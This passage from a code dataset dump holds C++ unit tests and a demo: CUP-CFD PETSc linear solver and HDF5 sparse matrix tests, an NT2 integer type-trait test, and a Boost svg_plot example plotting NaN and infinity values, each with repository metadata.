nResult;\n\tdouble resultCmp[8] = {2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5};\n\n\tstatus = solver.getValuesVectorX(&result, &nResult);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 8, resultCmp, resultCmp + 8);\n}\n\n// ============== clearVectorB ===================\n\n// ============== clearMatrixA ===================\n\n// ============== solve ===================\n// Test 1: Test that the solve runs without error on a serial setup\nBOOST_AUTO_TEST_CASE(solve_test1, * utf::tolerance(0.00001))\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[8] = {0, 1, 2, 3, 4, 5, 6, 7};\n\tint cols[8] = {0, 1, 2, 3, 4, 5, 6, 7};\n\tdouble vals[8] = {0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8};\n\n\tfor(int i = 0; i < 8; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Set some suitable values for a very small test solve\n\tstatus = solver.setValuesMatrixA(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tstatus = solver.setValuesVectorB(0.1);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Clear the X Vector\n\tstatus = solver.clearVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and Check\n\t// Run the solve\n\tstatus = solver.solve();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Get the contents of Vector X\n\tdouble * vecX;\n\tint nVecX;\n\n\tstatus = solver.getValuesVectorX(&vecX, &nVecX);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble cmp[8] = {1, 0.5, 0.33333333333333337, 0.25, 0.2, 0.16666666666666669, 0.14285714285714288, 0.125};\n\n\tfor(int i = 0; i < 8; i++)\n\t{\n\t\tBOOST_TEST(cmp[i] == vecX[i]);\n\t}\n}\n\n// Test 2: Test that the solve runs without error on a parallel setup\nBOOST_AUTO_TEST_CASE(solve_test2, * utf::tolerance(0.00001))\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[2] = {0, 1};\n\t\tint cols[2] = {0, 1};\n\t\tdouble vals[2] = {0.1, 0.2};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[2] = {2, 3};\n\t\tint cols[2] = {2, 3};\n\t\tdouble vals[2] = {0.3, 0.4};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[2] = {4, 5};\n\t\tint cols[2] = {4, 5};\n\t\tdouble vals[2] = {0.5, 0.6};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.7, 0.8};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Set some suitable values for a very small test solve\n\tstatus = solver.setValuesMatrixA(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tstatus = solver.setValuesVectorB(0.1);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Clear the X Vector\n\tstatus = solver.clearVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and Check\n\t// Run the solve\n\tstatus = solver.solve();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Get the contents of Vector X\n\tdouble * vecX;\n\tint nVecX;\n\n\tstatus = solver.getValuesVectorX(&vecX, &nVecX);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble cmp[8] = {1, 0.5, 0.33333333333333337, 0.25, 0.2, 0.16666666666666669, 0.14285714285714288, 0.125};\n\n\tfor(int i = 0; i < 8; i++)\n\t{\n\t\tBOOST_TEST(cmp[i] == vecX[i]);\n\t}\n}\n\n// Test 3: Test that the solve runs without error on a parallel setup even if all values from one process\n// (PETSc should handle behind scenes, even if slower...)\nBOOST_AUTO_TEST_CASE(solve_test3, * utf::tolerance(0.00001))\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[8] = {0, 1, 2, 3, 4, 5, 6, 7};\n\t\tint cols[8] = {0, 1, 2, 3, 4, 5, 6, 7};\n\t\tdouble vals[8] = {0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8};\n\n\t\tfor(int i = 0; i < 8; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\tPetscInt rangeCmp[5] = {0, 2, 4, 6, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.aRanges, solver.aRanges + 5);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.xRanges, solver.xRanges + 5);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.bRanges, solver.bRanges + 5);\n\n\t// Set some suitable values for a very small test solve\n\tstatus = solver.setValuesMatrixA(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tstatus = solver.setValuesVectorB(0.1);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Clear the X Vector\n\tstatus = solver.clearVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and Check\n\t// Run the solve\n\tstatus = solver.solve();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Get the contents of Vector X\n\tdouble * vecX;\n\tint nVecX;\n\n\tstatus = solver.getValuesVectorX(&vecX, &nVecX);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble cmp[8] = {1, 0.5, 0.33333333333333337, 0.25, 0.2, 0.16666666666666669, 0.14285714285714288, 0.125};\n\n\tfor(int i = 0; i < 8; i++)\n\t{\n\t\tBOOST_TEST(cmp[i] == vecX[i]);\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(cleanup)\n{\n\tPetscFinalize();\n    MPI_Finalize();\n}\n", "meta": {"hexsha": "42bcbc93bec3ae1185dad08da15edea5ec874b89", "size": 62188, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tests/linearsolvers/implementation/component/LinearSolverPETScTests.cpp", "max_stars_repo_name": "thorbenlouw/CUP-CFD", "max_stars_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3.0, "max_stars_repo_stars_event_min_datetime": "2021-06-24T10:20:12.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-18T14:43:19.000Z", "max_issues_repo_path": "tests/linearsolvers/implementation/component/LinearSolverPETScTests.cpp", "max_issues_repo_name": "thorbenlouw/CUP-CFD", "max_issues_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2021-07-22T15:31:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-28T14:27:28.000Z", "max_forks_repo_path": "tests/linearsolvers/implementation/component/LinearSolverPETScTests.cpp", "max_forks_repo_name": "thorbenlouw/CUP-CFD", "max_forks_repo_head_hexsha": "d06f7673a1ed12bef24de4f1b828ef864fa45958", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-07-22T15:24:24.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-22T15:24:24.000Z", "avg_line_length": 29.2649411765, "max_line_length": 137, "alphanum_fraction": 0.6501254261, "num_tokens": 22984, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.20434190478229486, "lm_q1q2_score": 0.10217095239114743}}
{"text": "/*******************************************************************************\n *         Copyright 2003 & onward LASMEA UMR 6602 CNRS/Univ. Clermont II\n *         Copyright 2009 & onward LRI    UMR 8623 CNRS/Univ Paris Sud XI\n *\n *          Distributed under the Boost Software License, Version 1.0.\n *                 See accompanying file LICENSE.txt or copy at\n *                     http://www.boost.org/LICENSE_1_0.txt\n ******************************************************************************/\n#define NT2_UNIT_MODULE \"nt2::meta::as_integer\"\n\n#include <nt2/sdk/config/types.hpp>\n#include <nt2/sdk/meta/as_integer.hpp>\n#include <boost/type_traits/is_same.hpp>\n\n#include <nt2/sdk/unit/module.hpp>\n#include <nt2/sdk/unit/tests/basic.hpp>\n\n////////////////////////////////////////////////////////////////////////////////\n// Test that as_integer is correct w/r to original sign\n////////////////////////////////////////////////////////////////////////////////\nNT2_TEST_CASE(as_integer_native_sign)\n{\n  using nt2::meta::as_integer;\n  using boost::is_same;\n\n  NT2_TEST( (is_same<as_integer<double  >::type,nt2::int64_t >::value ));\n  NT2_TEST( (is_same<as_integer<float   >::type,nt2::int32_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int64_t >::type,nt2::int64_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int32_t >::type,nt2::int32_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int16_t >::type,nt2::int16_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int8_t  >::type,nt2::int8_t  >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint64_t>::type,nt2::uint64_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint32_t>::type,nt2::uint32_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint16_t>::type,nt2::uint16_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint8_t >::type,nt2::uint8_t >::value ));\n  NT2_TEST( (is_same<as_integer<bool    >::type,nt2::uint8_t >::value ));\n}\n\n////////////////////////////////////////////////////////////////////////////////\n// Test that as_integer is correct w/r to forced sign\n////////////////////////////////////////////////////////////////////////////////\nNT2_TEST_CASE(as_integer_native_forced_signed)\n{\n  using nt2::meta::as_integer;\n  using boost::is_same;\n  using namespace nt2;\n\n  NT2_TEST( (is_same<as_integer<double  ,unsigned>::type,nt2::uint64_t >::value ));\n  NT2_TEST( (is_same<as_integer<float   ,unsigned>::type,nt2::uint32_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int64_t ,unsigned>::type,nt2::uint64_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int32_t ,unsigned>::type,nt2::uint32_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int16_t ,unsigned>::type,nt2::uint16_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int8_t  ,unsigned>::type,nt2::uint8_t  >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint64_t,unsigned>::type,nt2::uint64_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint32_t,unsigned>::type,nt2::uint32_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint16_t,unsigned>::type,nt2::uint16_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint8_t ,unsigned>::type,nt2::uint8_t  >::value ));\n  NT2_TEST( (is_same<as_integer<bool    ,unsigned>::type,nt2::uint8_t >::value ));\n}\n\n////////////////////////////////////////////////////////////////////////////////\n// Test that as_integer is correct w/r to forced sign\n////////////////////////////////////////////////////////////////////////////////\nNT2_TEST_CASE(as_integer_native_forced_unsigned)\n{\n  using nt2::meta::as_integer;\n  using boost::is_same;\n  using namespace nt2;\n\n  NT2_TEST( (is_same<as_integer<double  ,signed>::type,nt2::int64_t>::value ));\n  NT2_TEST( (is_same<as_integer<float   ,signed>::type,nt2::int32_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int64_t ,signed>::type,nt2::int64_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int32_t ,signed>::type,nt2::int32_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int16_t ,signed>::type,nt2::int16_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::int8_t  ,signed>::type,nt2::int8_t >::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint64_t,signed>::type,nt2::int64_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint32_t,signed>::type,nt2::int32_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint16_t,signed>::type,nt2::int16_t>::value ));\n  NT2_TEST( (is_same<as_integer<nt2::uint8_t ,signed>::type,nt2::int8_t >::value ));\n  NT2_TEST( (is_same<as_integer<bool    ,signed>::type,nt2::int8_t >::value ));\n}\n", "meta": {"hexsha": "d76930b3060b0907b67a0816c80fc4d2cd19aaeb", "size": 4499, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "modules/sdk/unit/meta/as_integer.cpp", "max_stars_repo_name": "brycelelbach/nt2", "max_stars_repo_head_hexsha": "73d7e8dd390fa4c8d251c6451acdae65def70e0b", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2022-03-24T03:35:10.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-24T03:35:10.000Z", "max_issues_repo_path": "modules/sdk/unit/meta/as_integer.cpp", "max_issues_repo_name": "brycelelbach/nt2", "max_issues_repo_head_hexsha": "73d7e8dd390fa4c8d251c6451acdae65def70e0b", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "modules/sdk/unit/meta/as_integer.cpp", "max_forks_repo_name": "brycelelbach/nt2", "max_forks_repo_head_hexsha": "73d7e8dd390fa4c8d251c6451acdae65def70e0b", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 54.8658536585, "max_line_length": 88, "alphanum_fraction": 0.600133363, "num_tokens": 1291, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.2068940537061185, "lm_q1q2_score": 0.10183079858533263}}
{"text": "/*! \\file demo_1d_limits.cpp\n    \\brief Demonstration of some 1D values including NaN and + and - infinity.\n    \\details Quickbook markup to include in documentation.\n    \\date 19 Feb 2009\n    \\author Paul A. Bristow\n*/\n\n// Copyright Paul A Bristow 2008, 2009\n\n// Use, modification and distribution are subject to the\n// Boost Software License, Version 1.0.\n// (See accompanying file LICENSE_1_0.txt\n// or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n// This file is written to be included from a Quickbook .qbk document.\n// It can be compiled by the C++ compiler, and run. Any output can\n// also be added here as comment or included or pasted in elsewhere.\n// Caution: this file contains Quickbook markup as well as code\n// and comments: don't change any of the special comment markups!\n\n//[demo_1d_limits_1\n/*`As ever, we need a few includes to use Boost.Plot\n*/\n\n#include <boost/svg_plot/svg_1d_plot.hpp>\n  using namespace boost::svg;\n  using boost::svg::svg_1d_plot;\n\n#include <iostream>\n  using std::cout;\n  using std::endl;\n  using std::hex;\n\n#include <vector>\n  using std::vector;\n\n#include <limits>\n  using std::numeric_limits;\n//] [demo_1d_limits_1]\n\nint main()\n{\n//[demo_1d_limits_2\n/*`Some fictional data is pushed into an STL container, here `vector<double>`, including a NaN and + and - infinity:*/\n  vector<double> my_data;\n  my_data.push_back(-1.6);\n  my_data.push_back(2.0);\n  my_data.push_back(4.2563);\n  my_data.push_back(-4.0);\n  my_data.push_back(numeric_limits<double>::infinity());\n  my_data.push_back(-numeric_limits<double>::infinity());\n  my_data.push_back(numeric_limits<double>::quiet_NaN());\n\n  try\n  { // try'n'catch blocks are needed to ensure error messages from any exceptions are shown.\n    svg_1d_plot my_1d_plot; // Construct a plot with all the default constructor values.\n\n    my_1d_plot.title(\"Default 1D NaN and infinities Demo\") // Add a string title of the plot.\n      .x_range(-5, 5) // Add a range for the X-axis.\n      .x_label(\"length (m)\"); // Add a label for the X-axis.\n\n/*`Add the one data series, `my_data` and a description, and how the data points are to marked,\nhere a circle with a diameter of 5 pixels.\n*/\n    my_1d_plot.plot(my_data, \"1D limits\").shape(circlet).size(5);\n\n/*`To put a value label against each data point, switch on the option:\n*/\n    my_1d_plot.x_values_on(true); // Add data point value labels for the X-axis.\n\n/*`To change the default colors (lightgray and whitesmoke) for the 'at limit' point marker\nto something more conspicuous for this demonstration:\n*/\n    my_1d_plot.plus_inf_limit_color(blue);\n    my_1d_plot.plus_inf_limit_color(pink);\n\n/*`To use all these settings, finally write the plot to file.\n*/\n    my_1d_plot.write(\"demo_1d_limits.svg\");\n\n/*`\n[note the +infinity point is marked on the far right of the plot, the -infinity on the far left, but the NaN (Not A Number) is at zero.]\n\nTo echo the new marker colors chosen:\n*/\n    cout << \"+infinity_limit points stroke color \" << my_1d_plot.plus_inf_limit_color() << endl;\n    cout << \"+infinity_limit points fill color \" << my_1d_plot.plus_inf_limit_color() << endl;\n//] [demo_1d_limits_2]\n  }\n  catch(const std::exception& e)\n  {\n    std::cout <<\n      \"\\n\"\"Message from thrown exception was:\\n   \" << e.what() << std::endl;\n  }\n  return 0;\n} // int main()\n\n/*\n\n//[demo_1d_limits_output\n\nOutput:\n\ndemo_1d_limits.cpp\nLinking...\nEmbedding manifest...\nAutorun \"j:\\Cpp\\SVG\\debug\\demo_1d_limits.exe\"\nlimit points stroke color RGB(0,0,255)\nlimit points fill color RGB(255,192,203)\nBuild Time 0:04\n//] [demo_1d_limits_output]\n\n*/\n\n", "meta": {"hexsha": "bcd4a59a9230ee52be8a62b12c74c5e5cc7b18e9", "size": 3564, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "example/demo_1d_limits.cpp", "max_stars_repo_name": "pabristow/svg_plot", "max_stars_repo_head_hexsha": "59e06b752acc252498e0ddff560b01fb951cb909", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 24.0, "max_stars_repo_stars_event_min_datetime": "2016-03-09T03:23:06.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-12T14:02:07.000Z", "max_issues_repo_path": "example/demo_1d_limits.cpp", "max_issues_repo_name": "pabristow/svg_plot", "max_issues_repo_head_hexsha": "59e06b752acc252498e0ddff560b01fb951cb909", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 11.0, "max_issues_repo_issues_event_min_datetime": "2018-03-05T14:39:48.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-22T09:00:33.000Z", "max_forks_repo_path": "example/demo_1d_limits.cpp", "max_forks_repo_name": "pabristow/svg_plot", "max_forks_repo_head_hexsha": "59e06b752acc252498e0ddff560b01fb951cb909", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 10.0, "max_forks_repo_forks_event_min_datetime": "2016-11-04T14:36:04.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-17T08:12:03.000Z", "avg_line_length": 30.9913043478, "max_line_length": 136, "alphanum_fraction": 0.714365881, "num_tokens": 990, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46101677931231594, "lm_q2_score": 0.2200070946316962, "lm_q1q2_score": 0.1014269621929645}}
{"text": "/*\n * @file\n * @author University of Warwick\n * @version 1.0\n *\n * @section LICENSE\n *\n * @section DESCRIPTION\n *\n * Tests for the SparseMatrixSourceHDF5 class\n */\n\n#define BOOST_TEST_MODULE SparseMatrixSourceHDF5\n#include <boost/test/unit_test.hpp>\n#include <boost/test/output_test_stream.hpp>\n#include <stdexcept>\n\n#include \"SparseMatrixSourceHDF5.h\"\n#include \"Error.h\"\n\n#include \"Communicator.h\"\n\nusing namespace cupcfd::data_structures;\n\n// These tests require MPI\nBOOST_AUTO_TEST_CASE(setup)\n{\n    int argc = boost::unit_test::framework::master_test_suite().argc;\n    char ** argv = boost::unit_test::framework::master_test_suite().argv;\n    MPI_Init(&argc, &argv);\n}\n\n// === Constructor ===\n// Test 1:\nBOOST_AUTO_TEST_CASE(constructor_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int ,double> file(fileName);\n\t}\n}\n\n// === getNNZ ===\n// Test 1:\nBOOST_AUTO_TEST_CASE(getNNZ_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint nnz;\n\t\tstatus = file.getNNZ(&nnz);\n\t\tBOOST_CHECK_EQUAL(nnz, 24);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n}\n\n// === getNRows ===\n// Test 1:\nBOOST_AUTO_TEST_CASE(getNRows_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint nRows;\n\t\tstatus = file.getNRows(&nRows);\n\t\tBOOST_CHECK_EQUAL(nRows, 8);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n}\n\n// === getNCols ===\n// Test 1:\nBOOST_AUTO_TEST_CASE(getNCols_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint nCols;\n\t\tstatus = file.getNCols(&nCols);\n\t\tBOOST_CHECK_EQUAL(nCols, 8);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n}\n\n// === getMatrixIndicesBase ===\n// Test 1:\nBOOST_AUTO_TEST_CASE(getMatrixIndicesBase_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint base;\n\t\tstatus = file.getMatrixIndicesBase(&base);\n\t\tBOOST_CHECK_EQUAL(base, 1);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n}\n\n// === getNNZRows ===\n// Test 1:\nBOOST_AUTO_TEST_CASE(getNNZRows_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\t// This test file is known in advance to have 8 rows\n\t\tint * nnzRows = (int *) malloc(sizeof(int) * 8);\n\t\tstatus = file.getNNZRows(nnzRows, 8);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tint cmp[8] = {3, 0, 6, 3, 3, 3, 4, 2};\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 8, nnzRows, nnzRows + 8);\n\t}\n}\n\n// === getRowColumnIndexes ===\n// Test 1: Test for a valid row\nBOOST_AUTO_TEST_CASE(getRowColumnIndexes_test1)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint * columnIndexes;\n\t\tint nColumnIndexes;\n\n\t\t// Get the columns for row 3 (base 1)\n\t\tstatus = file.getRowColumnIndexes(3, &columnIndexes, &nColumnIndexes);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tint cmp[6] = {1, 2, 3, 4, 5, 6};\n\t\tBOOST_CHECK_EQUAL(nColumnIndexes, 6);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 6, columnIndexes, columnIndexes + 6);\n\t\tfree(columnIndexes);\n\t}\n}\n\n// Test 2: Test a row with no non-zero values\nBOOST_AUTO_TEST_CASE(getRowColumnIndexes_test2)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint * columnIndexes;\n\t\tint nColumnIndexes;\n\n\t\t// Get the columns for row 2 (base 1)\n\t\tstatus = file.getRowColumnIndexes(2, &columnIndexes, &nColumnIndexes);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nColumnIndexes, 0);\n\t\tfree(columnIndexes);\n\t}\n}\n\n// Test 3: Test last row\nBOOST_AUTO_TEST_CASE(getRowColumnIndexes_test3)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint * columnIndexes;\n\t\tint nColumnIndexes;\n\n\t\t// Get the columns for row 8 (base 1)\n\t\tstatus = file.getRowColumnIndexes(8, &columnIndexes, &nColumnIndexes);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tint cmp[2] = {7, 8};\n\t\tBOOST_CHECK_EQUAL(nColumnIndexes, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 1, columnIndexes, columnIndexes + 1);\n\t\tfree(columnIndexes);\n\t}\n}\n\n// Test 4: Test first row\nBOOST_AUTO_TEST_CASE(getRowColumnIndexes_test4)\n{\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\tcupcfd::error::eCodes status;\n\n\tif(comm.rank == 0)\n\t{\n\t\tstd::string fileName = \"../tests/data_structures/data/Matrix1Sparse.h5\";\n\t\tSparseMatrixSourceHDF5<int, double> file(fileName);\n\n\t\tint * columnIndexes;\n\t\tint nColumnIndexes;\n\n\t\t// Get the columns for row 1 (base 1)\n\t\tstatus = file.getRowColumnIndexes(1, &columnIndexes, &nColumnIndexes);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tint cmp[3] = {1, 2, 3};\n\t\tBOOST_CHECK_EQUAL(nColumnIndexes, 3);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 3, columnIndexes, columnIndexes + 3);\n\t\tfree(columnIndexes);\n\t}\n}\n\n// 